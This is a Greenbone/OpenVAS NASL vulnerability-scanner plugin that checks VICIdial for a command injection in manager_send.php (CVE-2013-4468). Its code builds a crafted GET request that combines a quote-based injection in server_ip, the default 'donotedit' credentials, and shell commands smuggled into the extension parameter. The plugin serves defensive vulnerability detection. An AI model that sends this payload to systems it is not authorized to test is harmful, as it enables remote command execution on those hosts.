VICIdial 'manager_send.php' Command Injection Vulnerability

# Copyright (C) 2013 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:vicidial:vicidial";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103821");
  script_version("2023-03-09T10:20:45+0000");
  script_tag(name:"last_modification", value:"2023-03-09 10:20:45 +0000 (Thu, 09 Mar 2023)");
  script_tag(name:"creation_date", value:"2013-10-25 14:23:59 +0200 (Fri, 25 Oct 2013)");
  script_tag(name:"cvss_base", value:"6.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:S/C:P/I:P/A:P");

  script_cve_id("CVE-2013-4468", "CVE-2013-4467");

  script_name("VICIdial 'manager_send.php' Command Injection Vulnerability");

  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
  script_dependencies("gb_vicidial_http_detect.nasl");
  script_mandatory_keys("vicidial/http/detected");
  script_require_ports("Services/www", 443);

  script_tag(name:"summary", value:"VICIdial is prone to a command-injection vulnerability because
  the application fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary commands
  in the context of the affected application.");

  script_tag(name:"insight", value:"In multiple locations, there are calls to passthru() that do not
  perform any filtering or sanitization on the input.");

  script_tag(name:"affected", value:"VICIdial 2.7RC1, 2.7 and 2.8-403a are vulnerable.
  Other versions may also be affected.");

  script_tag(name:"solution", value:"Ask the Vendor for an update.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/63288");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/63340");
  script_xref(name:"URL", value:"http://adamcaudill.com/2013/10/23/vicidial-multiple-vulnerabilities/");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if (!get_app_location(cpe:CPE, port:port, nofork:TRUE))
  exit(0);

cmds = exploit_commands("linux");

foreach pattern (keys(cmds)) {
  foreach user (make_list("VDCL", "VDAD")) {
    url = '/agc/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&' +
          'session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + cmds[pattern] +
          '%3B&user=' + user + '&pass=donotedit';

    if (buf = http_vuln_check(port:port, url:url, pattern:pattern)) {
      data = 'It was possible to execute the "' + cmds[pattern] + '" command.\n\nRequest:\n\n' +
             http_report_vuln_url(port:port, url:url, url_only:TRUE) + '\n\nResponse:\n\n' + buf + '\n\n';
      security_message(port:port, data:data);
      exit(0);
    }
  }
}

exit(99);